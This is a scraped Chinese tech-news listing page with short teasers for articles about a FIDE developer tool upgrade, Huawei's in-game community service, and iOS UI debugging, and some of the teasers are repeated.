    FIDE 開發者工具重構升級啦!實作500%性能提升,誠邀體驗! 一直以來不少開發者朋友在社區反饋,在使用 FIDE 工具的程序中,時常會遇到諸如加載不及時、代碼預覽/渲染性能不如意的情況,十分影響開發體驗。 作為技術團隊,我們深知一件趁手的開發工具對開發者的重要性,因此,在2023年開年,FinC ......

    uj5u.com 2023-04-19 09:16:15 more
  • 游戲內嵌社區服務開放,助力開發者提升玩家互動與留存

    華為 HMS Core 游戲內嵌社區服務提供快速訪問華為游戲中心論壇能力,支持玩家直接在游戲內瀏覽帖子和交流互動,助力開發者擴展內容生產和觸達的場景。 一、為什么要游戲內嵌社區? 二、游戲內嵌社區的典型使用場景 1、游戲內打開論壇 您可以在游戲內繪制論壇入口,為玩家提供沉浸式發帖、瀏覽、點贊、回帖、 ......

    uj5u.com 2023-04-19 09:15:46 more
  • iOS從UI記憶體地址到讀取成員變數(oc/swift)

    開發除錯時,我們發現bug時常首先是從UI顯示發現例外,下一步才會去定位UI相關連的資料的。XCode有給我們提供一系列debug工具,但是很多人可能還沒有形成一套穩定的除錯流程,因此本文嘗試解決這個問題,順便提出一個暴論:UI顯示例外問題只需要兩個步驟就能完成定位作業的80%: 定位例外 UI 組 ......

    uj5u.com 2023-04-19 09:14:53 more
  • FIDE重磅更新!性能飛躍!體驗有禮!

    FIDE 開發者工具重構升級啦!實作500%性能提升,誠邀體驗! 一直以來不少開發者朋友在社區反饋,在使用 FIDE 工具的程序中,時常會遇到諸如加載不及時、代碼預覽/渲染性能不如意的情況,十分影響開發體驗。 作為技術團隊,我們深知一件趁手的開發工具對開發者的重要性,因此,在2023年開年,FinC ......

    uj5u.com 2023-04-19 09:14:08 more
  • 游戲內嵌社區服務開放,助力開發者提升玩家互動與留存

    華為 HMS Core 游戲內嵌社區服務提供快速訪問華為游戲中心論壇能力,支持玩家直接在游戲內瀏覽帖子和交流互動,助力開發者擴展內容生產和觸達的場景。 一、為什么要游戲內嵌社區? 二、游戲內嵌社區的典型使用場景 1、游戲內打開論壇 您可以在游戲內繪制論壇入口,為玩家提供沉浸式發帖、瀏覽、點贊、回帖、 ......

    uj5u.com 2023-04-19 09:08:34 more